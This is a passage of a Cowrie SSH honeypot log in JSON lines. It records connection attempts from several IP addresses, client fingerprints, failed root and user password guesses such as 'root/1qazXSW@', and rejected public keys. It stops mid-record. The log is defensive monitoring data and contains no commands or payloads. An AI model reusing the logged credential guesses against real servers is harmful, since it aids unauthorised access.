{"eventid":"cowrie.login.failed","username":"root","password":"love123","message":"login attempt [root/love123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:30.374743Z","src_ip":"51.250.105.222","session":"46a73c435ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:31.508191Z","src_ip":"51.250.105.222","session":"46a73c435ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58668,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dd85c6de22f","protocol":"ssh","message":"New connection: 83.168.110.85:58668 (159.203.135.109:22) [session: 2dd85c6de22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:36.271112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:36.300698Z","src_ip":"83.168.110.85","session":"2dd85c6de22f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:36.428027Z","src_ip":"83.168.110.85","session":"2dd85c6de22f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:36.868351Z","src_ip":"83.168.110.85","session":"2dd85c6de22f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:37.991745Z","src_ip":"83.168.110.85","session":"2dd85c6de22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.91.33.72","src_port":40780,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0f18288fbd6","protocol":"ssh","message":"New connection: 125.91.33.72:40780 (10.17.0.5:22) [session: d0f18288fbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:39.544063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:39.548938Z","src_ip":"125.91.33.72","session":"d0f18288fbd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:42.715784Z","src_ip":"125.91.33.72","session":"d0f18288fbd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43420,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b2c5d1b3b5f","protocol":"ssh","message":"New connection: 83.168.110.85:43420 (159.203.135.109:22) [session: 4b2c5d1b3b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:46.391614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:46.399805Z","src_ip":"83.168.110.85","session":"4b2c5d1b3b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:46.521516Z","src_ip":"83.168.110.85","session":"4b2c5d1b3b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:46.884826Z","src_ip":"83.168.110.85","session":"4b2c5d1b3b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:48.054205Z","src_ip":"83.168.110.85","session":"4b2c5d1b3b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jasper86","message":"login attempt [root/jasper86] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:48.428982Z","src_ip":"125.91.33.72","session":"d0f18288fbd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:52.943971Z","src_ip":"125.91.33.72","session":"d0f18288fbd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":49154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e726e8904a6e","protocol":"ssh","message":"New connection: 68.235.62.179:49154 (10.17.0.5:22) [session: e726e8904a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.296385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.301493Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.333974Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:44:03:fe:18:22:ab:8a:27:2a:60:ed:3e:3c:ae:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb/WYyM7W7iRC33ilQFVXhSvvPhqiVoYT2l05JPkNofag6A9yqkahEWzs54XyjFisU2BhOG+dF+CiVIHrFa8x2q2F8nVrCiuFGZJaYwVqTKYN/AsAhcbG/MhxfoOo2Osg2Tpiy0/LAU3YN+pfwmMQaSahmW1SXAWSkgcJoSUNFeLiFyp8voQocsyyahsphBc1Sxf2+WjOnkFoLkw0rpLlc3Xj/gPBRSJqR1iFrX/lQkTrj3z/38vBmAL34jYvtsGS6edI6UPy7mNd24JnlIBb8aQo8lXUP2dgJfX+a6GD2ckFpXFhnzPPjLvjJ00lLj065A2QJLHrngHFMQ1b6fTWf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:44:03:fe:18:22:ab:8a:27:2a:60:ed:3e:3c:ae:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.473898Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:44:03:fe:18:22:ab:8a:27:2a:60:ed:3e:3c:ae:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb/WYyM7W7iRC33ilQFVXhSvvPhqiVoYT2l05JPkNofag6A9yqkahEWzs54XyjFisU2BhOG+dF+CiVIHrFa8x2q2F8nVrCiuFGZJaYwVqTKYN/AsAhcbG/MhxfoOo2Osg2Tpiy0/LAU3YN+pfwmMQaSahmW1SXAWSkgcJoSUNFeLiFyp8voQocsyyahsphBc1Sxf2+WjOnkFoLkw0rpLlc3Xj/gPBRSJqR1iFrX/lQkTrj3z/38vBmAL34jYvtsGS6edI6UPy7mNd24JnlIBb8aQo8lXUP2dgJfX+a6GD2ckFpXFhnzPPjLvjJ00lLj065A2QJLHrngHFMQ1b6fTWf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.477598Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:f0:c3:bc:89:d4:5d:25:b0:10:55:c8:79:63:63:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3dRsXDJmsohZuqCZCmveQl330B56W76EYMULAdCdO1YoMXaYEJPlDs0IMjKeGb3sUon5WT0GoiElpuGcRY+IXmCovxuaMbPSKc7XvOVZj2YZZMSf2oCB5DuWO9cX25ViM8HVvVPTRxQLwHkoK2Y9wQrtQG7wdEecpnagWOhDBBnd6j0KaujmXXZIRtK+eCLrU8V7PTZFbU+/ZRAo5KJgsh5Ap0CBbaEHkV4wjEkQe0+jbEsxfnzR+VCff53gwl6+EQ16XXySlNV/4gEWFWmGgs43/IrzFnCnPdOb4imuI5lF85R/JvOY6BsZeU5zBlpYBnvnxaBW0SUftA7AeuKa3bAh+I0gRMg3ueZ447gIuAYWtk0Z4KZqM1G/DNcpOa2iwLdMMBOMS1R5esv0++RG69wpv0Bb+jZ1laRpPi9CV2h0q+Z3DChxI0K8UP0QnZPG6/mMrwk6LoXs8XpuIYxQ6ZWEoz0gJrOPeRpVhnDceT0qYQKEOhYqaA5oNL/8nCtHivnT946uDed2ch8ELUX3Dwa2K9lH+qISTFtH5IZ1Ov44uS6/MFvPWYzNwuzt2ZtIHiv+tcDsYi73bjxwPN8tTTM7+ozmRffLqBuwMsl3OgkN7Mf6wilI47qf2qkcmhqbX+6tOxDche1v4CUPRxdG71Bgf4uSizVPqLAI1BZvRYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:f0:c3:bc:89:d4:5d:25:b0:10:55:c8:79:63:63:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.509830Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:f0:c3:bc:89:d4:5d:25:b0:10:55:c8:79:63:63:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3dRsXDJmsohZuqCZCmveQl330B56W76EYMULAdCdO1YoMXaYEJPlDs0IMjKeGb3sUon5WT0GoiElpuGcRY+IXmCovxuaMbPSKc7XvOVZj2YZZMSf2oCB5DuWO9cX25ViM8HVvVPTRxQLwHkoK2Y9wQrtQG7wdEecpnagWOhDBBnd6j0KaujmXXZIRtK+eCLrU8V7PTZFbU+/ZRAo5KJgsh5Ap0CBbaEHkV4wjEkQe0+jbEsxfnzR+VCff53gwl6+EQ16XXySlNV/4gEWFWmGgs43/IrzFnCnPdOb4imuI5lF85R/JvOY6BsZeU5zBlpYBnvnxaBW0SUftA7AeuKa3bAh+I0gRMg3ueZ447gIuAYWtk0Z4KZqM1G/DNcpOa2iwLdMMBOMS1R5esv0++RG69wpv0Bb+jZ1laRpPi9CV2h0q+Z3DChxI0K8UP0QnZPG6/mMrwk6LoXs8XpuIYxQ6ZWEoz0gJrOPeRpVhnDceT0qYQKEOhYqaA5oNL/8nCtHivnT946uDed2ch8ELUX3Dwa2K9lH+qISTFtH5IZ1Ov44uS6/MFvPWYzNwuzt2ZtIHiv+tcDsYi73bjxwPN8tTTM7+ozmRffLqBuwMsl3OgkN7Mf6wilI47qf2qkcmhqbX+6tOxDche1v4CUPRxdG71Bgf4uSizVPqLAI1BZvRYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.513736Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:db:2a:0c:81:5b:0a:25:80:11:7f:f9:f3:77:b0:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCscVIpJSiXjzCDc7ic6P53pWi6u9Oay7CzghwnlVcs/31jh8NdBylwQIzOWomwRQu3Q2x8W4t2nN5mRIvHU+EmP06IeFe5o11xJo7zy4K9ZW9T34Yqk4dc80zlgL0oIl/rsLG464agMNMA6ZcLp4MKzSMp3rFfdlBpRHFlHmlSDP47gSBVSwSFfxmdEqCEjA2zpe4Gclijn5RkKjbotjsE0N+Y8xhuaykn6Bo7Jj1UtVc7SV+3uyodag3kcVm0Qt7q91sjJle2O0xbCsWgBZ6f4vcMk48dafQNdC6KEG3WUhvOobB0/BYx3o/jmewcrSLSwXcU96B0n5yfNbxusDgjpnMhG5NaoCUDR/cofKfvn8fAzEjf5UWy8e3rHZrc221LvgyaHDM205F7qtYPKkmy95gsgr83hymfuyxs0nwpzFOe8J5IbmCmxWThjsVMEtkHMU55BnbHBsy3Jcoimp8u0UTDPXzV2YVDF/MiYWmMQhmaalqxh48rlo2cvjQk9Eo/jmWOXVaM9lYIAPymtBmiF3XJ58lANiD80dXIcq+epsikbFON2NA+NQieOYqjuG+qUFTwwWSlz4/+WCscv5Iwxkx+K1AUfCsO+UrcV7F6VehroLYNIHVL4vIdqXVw3gztvw3aFmagB/b9jUawD5wV0IdzeRHR5MLrJbmg6y3XQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:db:2a:0c:81:5b:0a:25:80:11:7f:f9:f3:77:b0:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.546394Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:db:2a:0c:81:5b:0a:25:80:11:7f:f9:f3:77:b0:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCscVIpJSiXjzCDc7ic6P53pWi6u9Oay7CzghwnlVcs/31jh8NdBylwQIzOWomwRQu3Q2x8W4t2nN5mRIvHU+EmP06IeFe5o11xJo7zy4K9ZW9T34Yqk4dc80zlgL0oIl/rsLG464agMNMA6ZcLp4MKzSMp3rFfdlBpRHFlHmlSDP47gSBVSwSFfxmdEqCEjA2zpe4Gclijn5RkKjbotjsE0N+Y8xhuaykn6Bo7Jj1UtVc7SV+3uyodag3kcVm0Qt7q91sjJle2O0xbCsWgBZ6f4vcMk48dafQNdC6KEG3WUhvOobB0/BYx3o/jmewcrSLSwXcU96B0n5yfNbxusDgjpnMhG5NaoCUDR/cofKfvn8fAzEjf5UWy8e3rHZrc221LvgyaHDM205F7qtYPKkmy95gsgr83hymfuyxs0nwpzFOe8J5IbmCmxWThjsVMEtkHMU55BnbHBsy3Jcoimp8u0UTDPXzV2YVDF/MiYWmMQhmaalqxh48rlo2cvjQk9Eo/jmWOXVaM9lYIAPymtBmiF3XJ58lANiD80dXIcq+epsikbFON2NA+NQieOYqjuG+qUFTwwWSlz4/+WCscv5Iwxkx+K1AUfCsO+UrcV7F6VehroLYNIHVL4vIdqXVw3gztvw3aFmagB/b9jUawD5wV0IdzeRHR5MLrJbmg6y3XQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.550275Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:c1:59:2b:0b:df:0e:ee:50:0c:df:e1:15:98:32:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEbZKv4w79WTYmeR1ZiHyAzV07RyzLHmmyBc+pyhEjNiwrawiKHXYhhlHt7Gjg99Ok/Nb86jzbRyWUPDMQS4ao++TsRrnXl/h4EdSJutQONpedcEsqchrJ0mwJ5qw9HfYgdb0RNS6GsyzlKs61q6tdKsTRxgySxNhZxzRjqylG/aFN0FDR3wQUmSLCc4u/sOqY/MSPAFAQ9kp1eBMoG3TFx3t2g0bO2GQrcaD3jOiOO6E5PKZyrrNNywkyLd+LdRnkdJ5iDfegbmKhiSd1SOJKv1egh7m/5e9PpqyNkcR3k8j0Yfz6Zwy1qWRKi6x9ZKAoI8i3+ik/98N4gfCkWOEccXxfIYUD53mJIorpC2sw96Cv5xn/UoN1BFRNLE3CcE0xBLbn3n5yU2PU7mMWgor3ZIVW8B329DNIDHUaLEgUn01EsabfDId9qwr/c1PixrCIytZ5MAgUZ64+i4vkIHSUElEya1+wfkUZv/Zn/lywoB8Gke92KU04mdrn1JkDDzYR8iC5To+d/WB4mbbfRTSCNGfLSgDWgFTk8QAx3q+i8qyG5AgQ+54gXd6Od9ArDy5xsl9DeH7ndb0NIsMjlRSmm8foi3NPGy+Fg7W13AA3MvIVK/wwdm2XNLLQpnI+dn/+MbI23o8DE7Prxfn08dYEVsAwP64i5Yq2gvnBN6r1lQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:c1:59:2b:0b:df:0e:ee:50:0c:df:e1:15:98:32:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.583576Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:c1:59:2b:0b:df:0e:ee:50:0c:df:e1:15:98:32:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEbZKv4w79WTYmeR1ZiHyAzV07RyzLHmmyBc+pyhEjNiwrawiKHXYhhlHt7Gjg99Ok/Nb86jzbRyWUPDMQS4ao++TsRrnXl/h4EdSJutQONpedcEsqchrJ0mwJ5qw9HfYgdb0RNS6GsyzlKs61q6tdKsTRxgySxNhZxzRjqylG/aFN0FDR3wQUmSLCc4u/sOqY/MSPAFAQ9kp1eBMoG3TFx3t2g0bO2GQrcaD3jOiOO6E5PKZyrrNNywkyLd+LdRnkdJ5iDfegbmKhiSd1SOJKv1egh7m/5e9PpqyNkcR3k8j0Yfz6Zwy1qWRKi6x9ZKAoI8i3+ik/98N4gfCkWOEccXxfIYUD53mJIorpC2sw96Cv5xn/UoN1BFRNLE3CcE0xBLbn3n5yU2PU7mMWgor3ZIVW8B329DNIDHUaLEgUn01EsabfDId9qwr/c1PixrCIytZ5MAgUZ64+i4vkIHSUElEya1+wfkUZv/Zn/lywoB8Gke92KU04mdrn1JkDDzYR8iC5To+d/WB4mbbfRTSCNGfLSgDWgFTk8QAx3q+i8qyG5AgQ+54gXd6Od9ArDy5xsl9DeH7ndb0NIsMjlRSmm8foi3NPGy+Fg7W13AA3MvIVK/wwdm2XNLLQpnI+dn/+MbI23o8DE7Prxfn08dYEVsAwP64i5Yq2gvnBN6r1lQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:05:56.587531Z","src_ip":"68.235.62.179","session":"e726e8904a6e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:71:74:f7:39:db:d3:ef:b0:f4:d9:86:a8:f7:a9:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnbJtMGolFthDrY1Y8zlPd7oAxGF9R1pfjvt7nSVtZNW+ixIflaSvK6cD9Vllq4W4I9/JJrA9uuW439ziQRxvBBh9JfOFkVF7RjHitxiVnuZDY/4VN/rs3eiqpKe1imQGP3nx+7yjEql2fPgQLR5/qbE/kRjArRtn9SzKCBeuAbTbwAu1+j0LGSxknyjRPjBot1Cm4fPCLQYN196IuvO62cZO4WvrinxIbkooIjHbumwP/ydEZMJjGbMXWxM/yPEsOY0+2FJTKJwQ3wv5O3Xv8X+7gasEWIjpT5YEbwCdCEVK96BSMgx9ZSrW5U7q+BoEhrXozk3MtsRUV8vo/39tc1VTgWBp2W4VVw4cutAInZtJ1OiEWlh4MpOfYUT3TJ704RlF0d46GuRhck06Ux0O1E5Z0rbSSJuwVKzce6zCodkhUwjx+CuIQZPhGqzpEbINLFIgdwJaRPxWx7fi1dUnjYxKu6fz6LFsgbyUEkfH73QcAOgpRcJdBZvhDsdUf1Nt3v7Pog8QGd5mu5vxCNzdm8ZqBd7Ot3UX4hL2eoO3iz5ta7yS79nxLTN5fHJzrmhXZIevxp97M3d0cHohksiokJWXit6Cl081EiFY9oeL5jcqGJTDb3ICJDseDD9EfkSigJeLrOpZWt6If33CWcpfCXC/Wn0lLX6fZ0t/7aMzJlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 